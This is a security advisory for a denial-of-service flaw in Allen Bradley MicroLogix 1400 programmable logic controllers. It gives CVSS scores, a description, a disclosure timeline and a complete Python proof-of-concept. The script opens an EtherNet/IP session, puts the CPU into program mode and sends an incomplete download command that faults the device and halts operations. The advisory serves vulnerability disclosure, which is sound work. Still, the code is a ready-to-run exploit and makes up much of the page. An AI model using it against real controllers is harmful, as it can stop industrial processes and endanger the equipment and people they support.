CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:N/I:N/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS
Percentile
30.3%
An exploitable denial of service vulnerability exists in the program download functionality of Allen Bradley Micrologix 1400 Series B FRN 21.2 and before. A specially crafted packet can cause a device fault resulting in halted operations. An attacker can send an unauthenticated packet to trigger this vulnerability.
Allen Bradley Micrologix 1400 Series B FRN 21.2 Allen Bradley Micrologix 1400 Series B FRN 21.0 Allen Bradley Micrologix 1400 Series B FRN 15
<http://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400>
8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
CWE-399 - Resource Management Errors
When a new program is downloaded to the PLC it must go through a specific routine to obtain and lock the editing rights for the PLC. If errors are encountered during that process, the PLC enters a fault state. By sending the โExecute Command Listโ packet used during a standard download process without the accompanying โdownload completeโ packet, we can force the device to halt in the download state for one minute and then transition into the fault state.
Usage: python <filename>.py -i <ip_addr> [-p <port>] Where the elements are as follows:
- <filename> : whatever name you give the script
- <ip_addr> : ip address of the plc
- <port> : EtherNet/IP port (defaults to 44818)
NOTE: If testing against a real device, the PLC must be in the REMOTE keyswitch mode
import argparse
import socket
import binascii
import random
def pad_hex(hex_str, size):
if "0x" in hex_str: hex_str = "".join(hex_str.split("0x"))
if len(hex_str) != size:
numzeros = size - len(hex_str)
zeros = "0"*numzeros
hex_str = "%s%s" % (zeros, hex_str)
return hex_str
def split_hex(hex_str):
return list(map(''.join, zip(*[iter(hex_str)]*2)))
def get_tns():
temp_tns = pad_hex(hex(int(random.random()*65535)).replace("0x",""), 4)
tns = binascii.unhexlify(temp_tns)
return tns
def build_eth_instruction(instruction_elements, session_handle):
command_code = "\x6f\x00"
status = "\x00\x00\x00\x00"
sender_context = "\x00\x00\x00\x01\x00\x28\x1e\x4d"
options = "\x00\x00\x00\x00"
handle = "\x00\x00\x00\x00"
timeout = "\x00\x00"
num_items = "\x02\x00"
addr_data_type = "\x00\x00"
addr_data_length = "\x00\x00"
data_data_type = "\xb2\x00"
service_code = "\x4b"
size_req_path = "\x02"
req_path = "\x20\x67\x24\x01"
length_req_id = "\x07"
cip_vendor_id = "\x01\x00"
cip_ser_num = "\xf2\x0c\x02\x00"
cmd = instruction_elements['cmd']
sts = "\x00"
tns = get_tns()
fnc = instruction_elements['fnc']
data = instruction_elements['data']
pccc_cmd = "%s%s%s%s%s" % (cmd, sts, tns, fnc, data)
data_data_length = len(service_code) + len(size_req_path) + len(req_path) + len(length_req_id) + len(cip_vendor_id) + len(cip_ser_num) + len(pccc_cmd)
data_length = "%s\x00" % binascii.unhexlify(hex(data_data_length + 16)[2:])
data_data_length = "%s\x00" % binascii.unhexlify(hex(data_data_length)[2:])
payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (command_code, data_length, session_handle, status, sender_context, options, handle, timeout, num_items, addr_data_type, addr_data_length, data_data_type, data_data_length, service_code, size_req_path, req_path, length_req_id, cip_vendor_id, cip_ser_num, pccc_cmd)
return payload
def send_instruction(instruction_elements,session_handle):
return_response = ""
instruction = build_eth_instruction(instruction_elements, session_handle)
sock.send(instruction)
return_response = sock.recv(1024)
return return_response
def set_cpu_state(state, session_handle):
payload = ""
if state == "run": payload = {"cmd":"\x0f","fnc":"\x80","data":"\x06"}
elif state == "prog": payload = {"cmd":"\x0f","fnc":"\x80","data":"\x01"}
send_instruction(payload, session_handle)
def register_session():
registersession_data = "\x65\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x28\x1e\x4d\x00\x00\x00\x00\x01\x00\x00\x00"
sock.send(registersession_data)
reg_session_response = binascii.hexlify(sock.recv(28))
session_handle = binascii.unhexlify(reg_session_response[8:16])
return session_handle
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ipaddr", help="target ip address", type=str)
parser.add_argument("-p", "--port", help="target port", default=44818, type=int)
args = parser.parse_args()
dst = args.ipaddr
port = args.port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((dst, port))
session_handle = register_session()
execute_cmd_list = {"cmd":"\x0f","fnc":"\x88","data":"\x02\x0c\xaa\x06\x00\x63\x00\x00\x08\x91\x00\x00\x83\xf1\x01\x56"}
set_cpu_state("prog",session_handle)
send_instruction(execute_cmd_list, session_handle)
sock.shutdown(socket.SHUT_RDWR)
sock.close()
2017-09-22 - Vendor Disclosure
2018-03-28 - Public Release
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:N/I:N/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS
Percentile
30.3%